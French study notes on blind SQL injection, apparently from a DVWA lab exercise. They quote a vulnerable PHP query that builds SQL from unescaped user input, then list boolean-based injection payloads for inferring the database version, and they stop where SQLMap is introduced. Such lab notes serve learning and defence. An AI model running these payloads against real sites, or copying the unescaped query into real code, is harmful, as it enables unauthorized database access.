Blind Injection SQL

Def et Fonctionnement :


Pasted image 20240425114614.png
Une blind SQL injection est très similaire à une Injection SQL, dans le sens où il y a une faille exploitable, mais cependant on ne peut pas obtenir de résultat de la requête, car par exemple une page d'erreur est spécifiée.
Il faut donc utiliser d'autres méthodes pour exploiter ces failles, comme poser une liste de question vraies ou fausses qui permet de déduire la réponse.

Exploitation :


Exploitation :


Objectif : obtenir la version de la database.

Low Level : No security


https://www.youtube.com/watch?v=uN8Tv1exPMk
Query :

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

Normalement un échappement suffirait, aussi on ne peut pas utiliser directement les erreurs car on a :

try {
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors
            } catch (Exception $e) {
                print "There was an error.";
                exit;
            }

Si on a une erreur on est redirigés sur une autre page
Payload classique :

' OR '2'='2

On obtient Pasted image 20240425114614.png
Il faut donc faire mieux :

1' ORDER BY 3 #

On voit donc qu'il y a deux colonnes.
On peut demander d'autres questions pour trouver la version avec ce principe :

1'  AND length("1")=1#

On demande si 1 existe (c'est le cas) et si autre chose est vrai, donc comme 1 existe, on demande simplement si la deuxième condition est vrai :

1'  AND LENGTH(VERSION())=1#

Une dichotomie est sympa pour pouvoir trouver plus rapidement la solution.
On va accélérer le processus avec SQLMap :